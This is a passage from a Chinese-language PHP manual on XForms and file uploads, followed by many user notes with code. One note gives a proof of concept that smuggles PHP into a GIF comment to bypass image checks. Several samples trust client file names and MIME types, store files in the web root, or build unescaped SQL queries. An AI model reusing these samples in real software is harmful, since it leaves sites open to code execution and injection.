  <input ref="q"><label>Find</label></input>
  <submit submission="s"><label>Go</label></submit>
 </h:p>
</h:body>
</h:html>

上面的表单显示一个文本输入框（命名为 q）和一个提交按钮。当点击提交按钮，表单将被发送到 action 所指示的页面。

下面是从 web 应用端的角度看上去的区别。在普通的 HTML 表单中，数据发送格式是 application/x-www-form-urlencoded，在 XForms 的世界中，该信息是以 XML 格式数据发送的。

如果选择使用 XForms，那么数据为 XML，这种情况下，在 $HTTP_RAW_POST_DATA 中包含了由浏览器产生的 XML 文档，可以将其传递给所偏好的 XSLT 引擎或者文档解析器。

如果对格式不感兴趣，只想让数据进入到传统的 $_POST 变量中，可以指示客户端浏览器将其以 application/x-www-form-urlencoded 格式发送，只要将 method 属性改成 urlencoded-post 即可。

例子 37-2. 使用 XForm 来产生 $_POST

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Search</h:title>
 <model>
  <submission action="http://example.com/search"
              method="urlencoded-post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Find</label></input>
  <submit submission="s"><label>Go</label></submit>
 </h:p>
</h:body>
</h:html>

注: 在写本文档时，许多浏览器还不支持 XForms。如果上面例子失败请检查自己的浏览器版本。

add a note add a note User Contributed Notes
Darkener Daemon EX
14-Feb-2006 01:21
"php://stdin" doesn't exist in my PHP version. I use the following code block instead :
<?php
if (!isset($HTTP_RAW_POST_DATA))
   $HTTP_RAW_POST_DATA = file_get_contents("php://input");
?>
OrionI
08-Jul-2005 02:33
FireFox has an XForms plugin that works with the latest nightly builds. Check out http://www.mozilla.org/projects/xforms/ for more info. For IE support, there's an ActiveX control from Novell (http://developer.novell.com/xforms/) and one from x-port.net (http://www.formsplayer.com/).

There's also a JavaScript-based one coming out called FormFaces which looks very promising, especially since there are no plugins required and it works in IE, FF, and Opera: http://www.formfaces.com/
lphuberdeau at phpquebec dot org
21-Aug-2004 12:55
Since HTTP_RAW_POST_DATA requires a configuration to be generated and is not enabled as a default value, you will probably have to use the PHP STDIN stream to get the raw data. It's probably better to use this method as the raw data will not be generated every time, even when not needed.

<?php
$fp = fopen( "php://stdin", "r" );
$data = '';
while( !feof( $fp ) )
   $data .= fgets( $fp );
fclose( $fp );
?>
add a note add a note

后退 | 起点 | 前进
会话 | 上一级 | 文件上传处理


文件上传处理

PHP 手册
后退 前进

章 38. 文件上传处理

目录
POST 方法上传
错误信息说明
常见缺陷
上传多个文件
对 PUT 方法的支持

POST 方法上传

本特性可以使用户上传文本和二进制文件。用 PHP 的认证和文件操作函数，可以完全控制允许哪些人上传以及文件上传后怎样处理。

PHP 能够接受任何来自符合 RFC-1867 标准的浏览器（包括 Netscape Navigator 3 及更高版本，打了补丁的 Microsoft Internet Explorer 3 或者更高版本）上传的文件。

相关的设置: 请参阅 php.ini 的 file_uploads，upload_max_filesize，upload_tmp_dir post_max_size 以及 max_input_time 设置选项。

请注意 PHP 也支持 PUT 方法的文件上传，Netscape Composer 和 W3C 的 Amaya 客户端使用这种方法。请参阅对 PUT 方法的支持以获取更多信息。

例子 38-1. 文件上传表单

可以如下建立一个特殊的表单来支持文件上传：

<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" action="__URL__" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>

以上范例中的 __URL__ 应该被换掉，指向一个真实的 PHP 文件。

MAX_FILE_SIZE 隐藏字段（单位为字节）必须放在文件输入字段之前，其值为接收文件的最大尺寸。这是对浏览器的一个建议，PHP 也会检查此项。在浏览器端可以简单绕过此设置，因此不要指望用此特性来阻挡大文件。实际上，PHP 设置中的上传文件最大值是不会失效的。但是最好还是在表单中加上此项目，因为它可以避免用户在花时间等待上传大文件之后才发现文件过大上传失败的麻烦。

注: 要确保文件上传表单的属性是 enctype="multipart/form-data"，否则文件上传不了。

全局变量 $_FILES 自 PHP 4.1.0 起存在（在更早的版本中用 $HTTP_POST_FILES 替代）。此数组包含有所有上传的文件信息。

以上范例中 $_FILES 数组的内容如下所示。我们假设文件上传字段的名称如上例所示，为 userfile。名称可随意命名。

$_FILES['userfile']['name']

客户端机器文件的原名称。

$_FILES['userfile']['type']

文件的 MIME 类型，如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查，因此不要想当然认为有这个值。

$_FILES['userfile']['size']

已上传文件的大小，单位为字节。

$_FILES['userfile']['tmp_name']

文件被上传后在服务端储存的临时文件名。

$_FILES['userfile']['error']

和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。

文件被上传后，默认地会被储存到服务端的默认临时目录中，除非 php.ini 中的 upload_tmp_dir 设置为其它的路径。服务端的默认临时目录可以通过更改 PHP 运行环境的环境变量 TMPDIR 来重新设置，但是在 PHP 脚本内部通过运行 putenv() 函数来设置是不起作用的。该环境变量也可以用来确认其它的操作也是在上传的文件上进行的。

例子 38-2. 使文件上传生效

请查阅函数 is_uploaded_file() 和 move_uploaded_file() 以获取进一步的信息。以下范例处理由表单提供的文件上传。

<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead
// of $_FILES.

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "Possible file upload attack!\n";
}

echo 'Here is some more debugging info:';
print_r($_FILES);

print "</pre>";

?>

接受上传文件的 PHP 脚本为了决定接下来要对该文件进行哪些操作，应该实现任何逻辑上必要的检查。例如可以用 $_FILES['userfile']['size'] 变量来排除过大或过小的文件，也可以通过 $_FILES['userfile']['type'] 变量来排除文件类型和某种标准不相符合的文件，但只把这个当作一系列检查中的第一步，因为此值完全由客户端控制而在 PHP 端并不检查。自 PHP 4.2.0 起，还可以通过 $_FILES['userfile']['error'] 变量来根据不同的错误代码来计划下一步如何处理。不管怎样，要么将该文件从临时目录中删除，要么将其移动到其它的地方。

如果表单中没有选择上传的文件，则 PHP 变量 $_FILES['userfile']['size'] 的值将为 0，$_FILES['userfile']['tmp_name'] 将为空。

如果该文件没有被移动到其它地方也没有被改名，则该文件将在表单请求结束时被删除。

例子 38-3. 上传一组文件

PHP 的 HTML 数组特性甚至支持文件类型。

<form action="" method="post" enctype="multipart/form-data">
<p>Pictures:
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="submit" value="Send" />
</p>
</form>
<?php
foreach ($_FILES["pictures"]["error"] as $key => $error) {
    if ($error == UPLOAD_ERR_OK) {
        $tmp_name = $_FILES["pictures"]["tmp_name"][$key];
        $name = $_FILES["pictures"]["name"][$key];
        move_uploaded_file($tmp_name, "data/$name");
    }
}
?>

add a note add a note User Contributed Notes
ivan DOT cukic AT gmail DOT com
20-May-2006 08:47
There was a post earlier about not using the $_FILES['userfile']['type'] for verification and that a malicious PHP file could be hidden under the image/gif mime type.

That is correct, but it is not enough just to use getImageSize() or exif_imagetype() because php code can be hidden in the comment part of the picture.

The only way you can be sure it will not be executed is to make sure that the extension is not recognized by the server as a php script.

If you want a proof of concept, open The GIMP and create a 10x10px blank GIF image. When saving, just enter <? phpinfo() ?> as GIF comment. Rename the saved file from something.gif into the something.php and ask the server for it.

(And make sure that you NEVER call include() with a file that was uploaded)
david at cygnet dot be
12-May-2006 08:14
If you are experiencing problems posting files from Internet Explorer to a PHP script over an SSL connection, for instance "Page can not be displayed" or empty $_FILES and $_POST arrays (described by jason 10-Jan-2006 02:08), then check out this microsoft knowledgebase article:

http://support.microsoft.com/?kbid=889334

This knowledgebase article explains how since service pack 2 there may be problems posting from IE over SSL. It is worth checking whether your problem is IE specific since this is definitely not a PHP problem!
08-Apr-2006 03:28
If you're having a problem with filenames because of magic quotes, use stripslashes() to...strip slashes.
kweechang at yahoo dot com
07-Apr-2006 03:34
I have the same problem with filename contains single quote. Currently, I am using web-hosting services, hence I am not able to switch magic_quotes_gpc on/off.

After some study, I have discovered that the cause of the problem is in function basename();

For example:
$windows_filename = "C:\tmpdir\ling's document.doc"

with magic_quotes_gpc on
it becames
$windows_filename = "C:\\tmpdir\\ling\'s document.doc"

if you do a

  echo basename($windows_filename)

the result will be
   "s document.doc"

which is not correct, but this is exactly what we get from $_FILES['userfile']['name'];

To work around with this problem, the following solution might work.

Step 1:
a) Include a hidden field "userfilename" in your form.
b) add a javascript to the "file" input. To objective is to dupilcate the full filename and post it to the host.

<form name="imgform" method="post" action="upload.php" enctype="multipart/form-data">
   <input type="hidden" name="userfilename" id="userfilename">
   <input type="file" name="userfile" id="userfile" size="64" maxlength="256" onChange="javascript:top.document.imgform.userfilename.value= top.imgform.userfile.value">
</form>

Step 2:
a) extract the filename from the "userfilename"

       $fileName = $_FILES['userfile']['name'];
       $tmpName  = $_FILES['userfile']['tmp_name'];
       $fileSize = $_FILES['userfile']['size'];
       $fileType = $_FILES['userfile']['type'];

       $fp = fopen($tmpName, 'r');
       $content = fread($fp, $fileSize);
       $content = addslashes($content);
       fclose($fp);

       if(!get_magic_quotes_gpc())
       {
           $fileName = addslashes($fileName);
       } else {
   $fileName = addslashes(basename(stripslashes($_POST['userfilename'])));
       }
chaz_meister_rock at yahoo dot com
10-Mar-2006 02:09
As mentioned in this thread by mariodivece at bytedive dot com on 24-Aug-2005 12:33:

"when using base64_encode to store binary data in a database, you are increasing the size of the data by 1.33 times."

so, if you are receiving the dreaded "MySQL Server has gone away" error when uploading BLOB data encoded w/base64, remember that your MySQL "max_allowed_packet" configuration setting (default 1MB) needs to by 1.33 times the size of your PHP "upload_max_filesize" setting.
brett dot r dot brown at gmail dot com
13-Jan-2006 07:01
In regards to geert dot php at myrosoft dot com about having the filenames cut off if single quotes are present in the filename, I had this same problem.  The solution to this, is to set magic_quotes_gpc to off.
When magic_quotes_gpc is on, whenever a single quote is present in any _post data, a \ is inserted before any single quotes as an escape character.  This comes in handy if you're storing the post data into mySQL, but causes problems, as you've had, when receiving an upload.
jason
10-Jan-2006 09:08
Regarding empty $_FILES and $_POST arrays when uploading files larger than post_max_size:

Tucked away in http://us3.php.net/manual/en/ini.core.php#ini.post-max-size is this nugget:

"If the size of post data is greater than post_max_size, the $_POST and $_FILES superglobals are empty. This can be tracked in various ways, e.g. by passing the $_GET variable to the script processing the data, i.e. <form action="edit.php?processed=1">, and then checking if $_GET['processed'] is set."

This may seem like a bug. You'd expect something like UPLOAD_ERR_FORM_SIZE to be set. But you just two empty superglobals.

I've seen it submitted to bugs.php.net twice and it's been marked as bogus both times.
Marcus
04-Jan-2006 11:11
Many ppl uses a java applet for uploading files instead of a forms post. This way you can get a progress bar etc.

If you for some reason cannot upload very large files you can use the java applet to upload it in chunks. I made a small change to the free JUpload applet hosted at sourceforge to do this.

If you in the url you're posting to add the argument
 juchunksize=integervalue
the upload will be done as several posts where max-size of one part is integervalue. So you can keep track of where you are, two more parameters are added:
 jupart, which is 0..
 jufinal, which is 0 when there is more left or 1 if finished.

address to project:
http://sourceforge.net/projects/jupload

link to this JUpload version is here:
http://tinyurl.com/a2j7t
geert dot php at myrosoft dot com
23-Dec-2005 04:16
When file names do contain single quote parts of the filename are being lost.
eg.: uploading a filename
     startName 'middlepart' endName.txt
will be uploaded (and hence stored in the _Files ['userfile'] variable as
     endName.txt
skipping everything before the second single quote.
pete at NOSPAMpetesmithcomputers dot com
08-Dec-2005 09:03
I find I often have to handle photos in CMSs, so I wrote this class. It doubtless needs improvements, but it works pretty well.
<?php
class picture
{
       var $save_dir;                    //where file will be saved
       var $filename="spacer.gif";        //default file name initially
       var $error_message="";            //string to be output if neccesary
       var $width;                        //height of final image
       var $height;                      //width of final image

       function picture($save_directory, $file_array, $max_width, $max_height)
       {
               $this->save_dir = $save_directory;
               $this->width =    $max_width;
               $this->height =  $max_height;

               //--change filename to time - make it unique
               $temp_filename = $file_array['name'];
               $ext = explode('.',$temp_filename);
               $ext = $ext[count($ext)-1];
               $temp_filename = time().".".$ext;

               //--check that it's a jpeg or gif
               if (preg_match('/^(gif|jpe?g)$/',$ext)) {
                       // resize in proportion
                       list($width_orig, $height_orig) = getimagesize($file_array['tmp_name']);
                       if ($this->width && ($width_orig < $height_orig)) {
                               $this->width = ($this->height / $height_orig) * $width_orig;
                       } else {
                               $this->height = ($this->width / $width_orig) * $height_orig;
                       }

                       $image_p = imagecreatetruecolor($this->width, $this->height);

                       //handle gifs and jpegs separately
                       if($ext=='gif'){
                           $image = imagecreatefromgif($file_array['tmp_name']);
                           imagecopyresampled($image_p, $image, 0, 0, 0, 0, $this->width, $this->height, $width_orig, $height_orig);
                           imagegif($image_p, $this->save_dir.$temp_filename, 80);
                       }
                       else
                       {
                           $image = imagecreatefromjpeg($file_array['tmp_name']);
                           imagecopyresampled($image_p, $image, 0, 0, 0, 0, $this->width, $this->height, $width_orig, $height_orig);
                           imagejpeg($image_p, $this->save_dir.$temp_filename, 80);
                       }

                       imagedestroy($image_p);
                       imagedestroy($image);

                       $this->filename=$temp_filename;

               }else{
                       $this->error_message.="<br> file is not a jpeg or gif picture <br>";
               }
       }
}
?>
djot at hotmail dot com
28-Nov-2005 06:02
-
Be carefull with setting max_file_size via
ini_get('upload_max_filesize');

ini_get might return values like "2M" which will result in non working uploads.

This was the "no no" in my case:

$form = '<input type="hidden" name="MAX_FILE_SIZE" value=".ini_get('upload_max_filesize')." />';

Files were uploaded to the server, but than there was not any upload information, not even an error message. $_FILES was completly empty.

djot
-
info at giel berkers dot com
10-Nov-2005 08:03
I had problems when uploading files using Internet Explorer and Firefox. I checked for extension and mime-type to make sure it was a jpeg-file my users uploaded. Firefox did it well, only Internet Explorer failed to accept the file saying it wasn't the correct mime-type. After some testing, I discovered that Firefox reads the mime-type of a Jpeg-image as:

image/jpeg

While Internet Explorer reads it as:

image/pjpeg

I hope this helps somebody to avoid an evening debugging. To contribute to php.net, I enclosed my secure upload script for Jpeg files:

<?php

  function storefile($var, $location, $filename=NULL, $maxfilesize=NULL) {
   $ok = false;

   // Check file
   $mime = $_FILES[$var]["type"];
   if($mime=="image/jpeg" || $mime=="image/pjpeg") {
     // Mime type is correct
     // Check extension
     $name  = $_FILES[$var]["name"];
     $array = explode(".", $name);
     $nr    = count($array);
     $ext  = $array[$nr-1];
     if($ext=="jpg" || $ext=="jpeg") {
       $ok = true;
     }
   }

   if(isset($maxfilesize)) {
     if($_FILES[$var]["size"] > $maxfilesize) {
       $ok = false;
     }
   }

   if($ok==true) {
     $tempname = $_FILES[$var]['tmp_name'];
     if(isset($filename)) {
       $uploadpath = $location.$filename;
     } else {
       $uploadpath = $location.$_FILES[$var]['name'];
     }
     if(is_uploaded_file($_FILES[$var]['tmp_name'])) {
       while(move_uploaded_file($tempname, $uploadpath)) {
         // Wait for the script to finish its upload
       }
     }
     return true;
   } else {
     return false;
   }
  }

?>

You can use this script as follow:

<?

if(isset($_FILES['name'])) {
  if(storefile("name", $_SERVER['DOCUMENT_ROOT']."test/img")) {
   echo("Upload succeeded!");
  } else {
   echo("Upload failed...");
  }
}

?>

The last 2 parameters 'filename' and 'maxfilesize' are optional. Offcourse, you can change this script with other mime types and extensions to fit your needs.
ohdotoh at randomnoisebursts dot com
11-Oct-2005 03:33
my quick and simple don't overwrite files that exist solution:

if (file_exists($sysfolder . '/' . $filename)) {
// append a digit to the beginning of the name
  $tmpVar = 1;
  while(file_exists($sysfolder . '/' . $tmpVar . '-' . $filename)) {
// and keep increasing it until we have a unique name
   $tmpVar++;
   }
  $filename= $tmpVar . '-' . $filename;
  }
ded at in dot ua
04-Oct-2005 05:03
Generally, if you use
CharsetDisable on
or
CharsetSourceEnc off
in (russian) apache config file, and if your script which receives upload still have some html, use <meta http-equiv ...> tags so browser can correctly display the pages.
andrea at 3site dot it
21-Sep-2005 11:05
Hello, here is an experimental PHP / AJAX method to monitoring upload status.
http://www.devpro.it/upload_progress/

Thank you, PHP !!!
NO_lewis_SPAM at NOSPAM dot delta-hf dot co dot uk
04-Sep-2005 12:27
I have been having issues with putting data in to an MSSQL database from an uploaded file. Trying to INSERT a file in excess of 25MB caused "Insufficient memory" errors from the SQL server

I decided to chunk the data into the database rather than trying to spurt it all in at once. The memory management is much better and from Submit to in the DB takes about 1 second per MB. The machine has dual Pentium 3 933MHz and 2GB RAM.

First things first I had to write a stored procedure. I saw no point in attempting to return a TEXTPTR(), which is required for the UPDATETEXT function to work, back to PHP so I didn't even bother. This is my very first stored procedure since this is really the first time I've developed solely for MSSQL. The important thing is that it's functional.

Here's the code I used for my stored procedure. After writing this I need to execute it in a loop to get all the data in, in the correct order. I leave that bit to PHP of course. Please don't tell me I could have just written it all in the stored procedure using another language, this is PHP and MSSQL we're talking about. :)

The zipfile column data type is TEXT, I tried IMAGE but it was problematic dealing with HEX data.

///////////// SP//////////////////////
CREATE PROCEDURE dbo.dds_writeBlob @dataChunk AS TEXT, @refCode AS VARCHAR(50), @offSet AS INT

AS

DECLARE    @dataPtr AS BINARY(16)

SELECT    @dataPtr=TEXTPTR(zipfile)
FROM    [dbo].[file] (UPDLOCK)
WHERE    [dbo].[file].ref = @refCode

UPDATETEXT    [dbo].[file].zipfile @dataPtr @offSet 0 @dataChunk
GO
//////////////////END SP/////////////////

Then of course comes the PHP code to do the chunking. Firstly I have to convert the binary data to a type that can be accepted by TEXT data type. base64_encode() comes in handy for this purpose but of course I need it in chunks so I used chunk_split() and split it in to chunks of 256000 bytes by declaring the optional [chunklen]. I then explode() it in to a numerically indexed array using the newlines ("\r\n") that are inserted every [chunklen] by chunk_split. I can then loop through with a for(), passing the data chunks, in order, one at a time to the stored procedure. Here's the code:

<?
$data = chunk_split(base64_encode(fread(fopen($file, "rb"), filesize($file))), 256000);
$arrData = explode("\r\n", $data);
unset($data); // Clear memory space
$num = count($arrData);
$offset = 0;

for ($i=0;$i<$num;$i++) {
   $buffer = $arrData[$i];
   $query = "EXEC [dds_writeBlob] '".$buffer."', '$reference', $offset";
   @mssql_query($query) or die(mssql_get_last_message());
   $offset = ($offset + strlen($buffer));
}
?>
Of course we then need to extract the data from the database. This, thankfully, is a lot easier! Simply base64_decode() the data before outputting to a browser.
<?
$query = "SELECT zipfile, job_code FROM [file] WHERE ref = '$ref'";
@$result = mssql_query($query) or die('File Download: Failed to get file from the database.');
$file = mssql_fetch_assoc($result);
header('Content-type: application/zip');
header('Content-Disposition: attachment; filename="job-'.trim($file['job_code']).'.zip"');
echo base64_decode($file['zipfile']);
?>

The benefit of storing in base64_encoded format is the simplicity with which you can now send mime emails with the data attached as an alternative to having people download it. A simple chunk_split() on the SELECTed data will have it in the right format for mime mails.

The draw back is the extra size required! Expect the base64_encoded data to be 1.33 times the size of the original data!
Dave Koopman
25-Aug-2005 10:22
Upload progress bar by patching PHP source code.  Uses file or MySQL table to log progress.  MySQL is useful in load balanced situations.

http://www.modphp.org/viewtopic.php?t=324
mariodivece at bytedive dot com
25-Aug-2005 02:33
Just wanted to point out a detail that might be of interest to some:

when using base64_encode to store binary data in a database, you are increasing the size of the data by 1.33 times. There is a nicer way of storing the data directly. Try the following:

<?php $data = mysql_real_escape_string($data); ?>

This will leave the data untouched and formatted in the correct way and ready to be inserted right into a MySQL statement without wasting space.

By the way, I'd like to thank therebechips for his excellent advice on data chunks.
warwickbarnes at yahoo dot co dot uk
19-Aug-2005 07:58
You may come across the following problem using PHP on Microsoft IIS: getting permission denied errors from the move_uploaded_file function even when all the folder permissions seem correct. I had to set the following to get it to work:

1. Write permissions on the the folder through the IIS management console.
2. Write permissions to IUSR_'server' in the folder's security settings.
3. Write permissions to "Domain Users" in the folder's security settings.

The third setting was required because my application itself lives in a secure folder - using authentication (either Basic or Windows Integrated) to identify the users. When the uploads happen IIS seems to be checking that these users have write access to the folder, not just whether the web server (IUSR_'server') has access.

Also, remember to set "Execute Permissions" to "None" in the IIS management console, so that people can't upload a script file and then run it. (Other checks of the uploaded file are recommended as well but 'Execute None' is a good start.)
myko AT blue needle DOT com
17-Aug-2005 12:13
Just a quick note that there's an issue with Apache, the MAX_FILE_SIZE hidden form field, and zlib.output_compression = On.  Seems that the browser continues to post up the entire file, even though PHP throws the MAX_FILE_SIZE error properly.  Turning zlib compression to OFF seems to solve the issue.  Don't have time to dig in and see who's at fault, but wanted to save others the hassle of banging their head on this one.
muoihv at 1yt dot net
04-Aug-2005 04:47
// Split file Submit and HTML post

<?
$num_of_uploads=3;
$file_types_array=array("JPG");
$max_file_size=1048576;
$upload_dir="D:\AppServ\www";

function uploaderFILES($num_of_uploads=1, $file_types_array=array("JPG"), $max_file_size=1048576, $upload_dir=""){
  if(!is_numeric($max_file_size)){
   $max_file_size = 1048576;
  }
  foreach($_FILES["file"]["error"] as $key => $value)
  {
     if($_FILES["file"]["name"][$key]!="")
     {
       if($value==UPLOAD_ERR_OK)
       {
         $origfilename = $_FILES["file"]["name"][$key];
         $filename = explode(".", $_FILES["file"]["name"][$key]);
         $filenameext = $filename[count($filename)-1];
         unset($filename[count($filename)-1]);
         $filename = implode(".", $filename);
         $filename = substr($filename, 0, 15).".".$filenameext;
         $file_ext_allow = FALSE;
         for($x=0;$x<count($file_types_array);$x++){
           if($filenameext==$file_types_array[$x])
           {
             $file_ext_allow = TRUE;
           }
         } // for
         if($file_ext_allow){
           if($_FILES["file"]["size"][$key]<$max_file_size){
             if(move_uploaded_file($_FILES["file"]["tmp_name"][$key], $upload_dir.$filename)){
               echo("File uploaded successfully. - <a href='".$upload_dir.$filename."' target='_blank'>".$filename."</a><br />");
             }
             else { echo('<font color="#FF0000">'.$origfilename."</font> was not successfully uploaded - khong the upload duoc <br />");}
           }
           else  { echo('<font color="#FF0000">'.$origfilename."</font> was too big, not uploaded - Kich thuoc file qua' lon <br />"); }
         } // if
         else{ echo('<font color="#FF0000">'.$origfilename." </font>had an invalid file extension, not uploaded - File nay khong ton tai <br />");  }
       }
       else{ echo('<font color="#FF0000">'.$origfilename." </font>was not successfully uploaded - khong the upload duoc <br />");  } // else
     }
  }
} // funtion

/////////////////////////////////////////
?>
  <form action='<?=$PHP_SELF;?>' method='post' enctype='multipart/form-data'>Upload files:<br /><input type='hidden' name='submitted' value='TRUE' id='<?=time();?>' >
  <input type='hidden' name='MAX_FILE_SIZE' value='<?=$max_file_size;?>' >
<?  for($x=0;$x<$num_of_uploads;$x++){
     $form .= "<input type='file' name='file[]'><br />";
   }
   $form .= "<input type='submit' value='Upload'><br />
   <font color='red'>*</font>Maximum file length (minus extension) is 15 characters. Anything over that will be cut to only 15 characters. Valid file type(s): ";
   for($x=0;$x<count($file_types_array);$x++){
     if($x<count($file_types_array)-1){
       $form .= $file_types_array[$x].", ";
     }else{
       $form .= $file_types_array[$x].".";
     }
   }
   echo($form);
?>
  </form>

//////////////////////////////////////
<?
if(isset($_POST["submitted"])){
   uploaderFILES($num_of_uploads, $file_types_array, $max_file_size, $upload_dir);
}
?>
dan at DLC2 dot com
02-Aug-2005 04:19
Are you struggling to implement these code samples for "file upload" or "multiple file upload"? Are you still scratching your head why they don't work??

I tried everything, until I realized that my version of PHP was too old! Look at these tidbits (collected from pages at PHP.NET for your enjoyment):

Requires PHP v4.1 - The $_FILES array

Requires PHP v4.2 - The "error" sub-array - example: $_FILES["userfile"]["error"]

Requires PHP v4.3 - The constants for "error" sub-array - example: UPLOAD_ERR_OK (value 0)

So, if you have PHP v4.0.X or earlier, use the $HTTP_POST_FILES variable and just do without the error sub-array and its constants. It still works good!

If you found this article useful, send praise via email. If this was a life-saver, send chocolate.
hakimu @ gmail dot com
24-Jul-2005 04:06
This is a response to bryan dot fillmer at beasleyallen dot com about renamig files to avoid ovewriting. it's simple, since the only problem is the extention, there are other ways of doing the same heres mine

 // Where the file is going to be placed temporarly
$target_path = "/";

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

$_FILES['uploadedfile']['tmp_name']; // temp file

$target_path = "upload/";
$oldfile =  basename($_FILES['uploadedfile']['name']);

// getting the extention
$pos = strpos($oldfile,".",0);
$ext = trim(substr($oldfile,$pos+1,strlen($oldfile))," ");

//new file name exmaple for a profile image of a user
$newfile = $username . "." . $ext;

// move the file to the final destination
$target_path = $target_path . basename($newfile);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
     echo "The file ". basename( $_FILES['uploadedfile']['name']). " has been uploaded";
} else{
     echo "There was an error uploading the file, please try again!";
}
pvollma at pcvsoftware dot net
14-Jul-2005 02:47
Note that in Example 38-2 above, the basename() function will NOT extract the file name from an upload submitted by MS IE to a PHP program running on a *nix server! See my explanation in the notes for the basename() function.
suri @ suribala dot com
29-Jun-2005 12:31
A geneic fileupload class is included here....

<?php

// author: Suri Bala
// freely distributable

class fileupload{

  private $upload_tmp_dir = "/tmp/";  // leading and trailing slash required
  private $file_upload_flag = "off";
  private $upload_max_filesize = "100";
  private $allowable_upload_base_dirs = array("/tmp/", "/web/dynawolf/uploads/");
  private $allowable_upload_tmp_dirs = array( "/tmp/");
  private $upload_dir= "/tmp/";  // leading and trailing slash required
  private $upload_file_name;

  function __construct($name) {
     if( is_null($_FILES[$name]) )  {
         echo "Specified file <strong> ".$name." </strong> does not exist in the FILES array. Please check if it exists";
         echo "Exiting...";
         exit;
     }
     $this->getConfigurationSettings();
     if( $this->file_upload_flag == "off" ) {
       echo "File upload capability in the configuration file is turned <strong> off </strong> . Please update the php.ini file.";
       exit;
     }
     $this->upload_file_name = $name;
  }

  private function getConfigurationSettings() {
     $this->file_upload_flag = ini_get('file_uploads');
     $this->upload_tmp_dir = ini_get('upload_tmp_dir');
     $this->upload_max_filesize = ini_get('upload_max_filesize');
     $this->upload_max_filesize = preg_replace('/M/', '000000', $this->upload_max_filesize);
  }

  public function getErrors() {
     return $_FILES[$this->upload_file_name]['error'];
  }

  public function getFileSize() {
     return $_FILES[$this->upload_file_name]['size'];
  }

  public function getFileName() {
     return $_FILES[$this->upload_file_name]['name'];
  }

  public function getTmpName() {
     return $_FILES[$this->upload_file_name]['tmp_name'];
  }

  public function setUploadDir($upload_dir) {
   trim($upload_dir);
   if( $upload_dir[strlen($upload_dir)-1] != "/" ) $upload_dir .= "/"; // add trailing slash
   $can_upload = false;
   foreach( $this->allowable_upload_base_dirs as $dir ) {
       if( $dir == $upload_dir ) {
     $can_upload = true;
         break;
       }
   }
   if( !$can_upload ) {
       echo "Cannot upload to the dir ->".$upload_dir;
       return;
   }else{
       $this->upload_dir = $upload_dir;
       echo $this->upload_dir;
   }
  }

  public function setTmpUploadDir($upload_tmp_dir) {
   trim($upload_tmp_dir);
   if( $upload_tmp_dir[strlen($upload_tmp_dir)-1] != "/" ) $upload_tmp_dir .= "/"; // add trailing slash
   $can_upload = false;
   foreach( $this->allowable_upload_base_dirs as $dir ) {
       if( $dir == $upload_tmp_dir ) {
     $can_upload = true;
     return;
       }
   }
   if( !$can_upload ) {
       echo "Cannot upload to the dir ->".$uplaod_tmp_dir;
       return;
   }
   $this->upload_tmp_dir = $upload_dir;
  }

  public function uploadFile() {
   if( $this->checkMaxMemorySizeLimit() ) {
       echo "File size of ".$this->getFileSize()." greater than allowable limit of ".$this->upload_max_filesize."Please change the configuration setting.";
       return;
   }else{
     if( !move_uploaded_file($this->getTmpName(), $this->upload_dir.$this->getFileName()) ) {
         echo "Failed to upload file ".$this->getTmpName();
     }
   }
  }

  public function checkMaxMemorySizeLimit() {
   if( $this->getFileSize() >  $this->upload_max_filesize ) {
     return true;
   }else{
     return false;
   }
  }

}
sgarner(a)expio.co.nz
21-Jun-2005 12:52
Internet Explorer has problems with submitting forms with enctype="multipart/form-data" (e.g. uploading files) when combined with text fields containing non-standard ASCII characters (e.g. smart quotes or em-dashes) and a non-Windows-1255 character encoding.

Many Apache 2.0 default configs (e.g. Fedora 3) ship with "AddDefaultCharset UTF-8" in the httpd.conf. Commenting out this line will resolve the problem (assuming no charset is defined using <meta> tags in the page as well).

The problem manifests when submitting the form; the input field containing characters like , , ,  (common in text copied from MS Word) will appear blank to the receiving page.
keith at phpdiary dot org
24-May-2005 07:14
Caution: *DO NOT* trust $_FILES['userfile']['type'] to verify the uploaded filetype; if you do so your server could be compromised.  I'll show you why below:

The manual (if you scroll above) states: $_FILES['userfile']['type'] -  The mime type of the file, if the browser provided this information. An example would be "image/gif".

Be reminded that this mime type can easily be faked as PHP doesn't go very far in verifying whether it really is what the end user reported!

So, someone could upload a nasty .php script as an "image/gif" and execute the url to the "image".

My best bet would be for you to check the extension of the file and using exif_imagetype() to check for valid images.  Many people have suggested the use of getimagesize() which returns an array if the file is indeed an image and false otherwise, but exif_imagetype() is much faster. (the manual says it so)
20-May-2005 10:47
In case you want to show live upload progress bar or detect file size before upload completes this might help:

http://bluga.net/projects/uploadProgressMeter/
ceo at l-i-e dot com
20-May-2005 11:25
Using /var/www/uploads in the example code is just criminal, imnsho.

One should *NOT* upload untrusted files into your web tree, on any server.

Nor should any directory within your web tree have permissions sufficient for an upload to succeed, on a shared server. Any other user on that shared server could write a PHP script to dump anything they want in there!

The $_FILES['userfile']['type'] is essentially USELESS.
A. Browsers aren't consistent in their mime-types, so you'll never catch all the possible combinations of types for any given file format.
B. It can be forged, so it's crappy security anyway.

One's code should INSPECT the actual file to see if it looks kosher.

For example, images can quickly and easily be run through imagegetsize and you at least know the first N bytes LOOK like an image.  That doesn't guarantee it's a valid image, but it makes it much less likely to be a workable security breaching file.

For Un*x based servers, one could use exec and 'file' command to see if the Operating System thinks the internal contents seem consistent with the data type you expect.

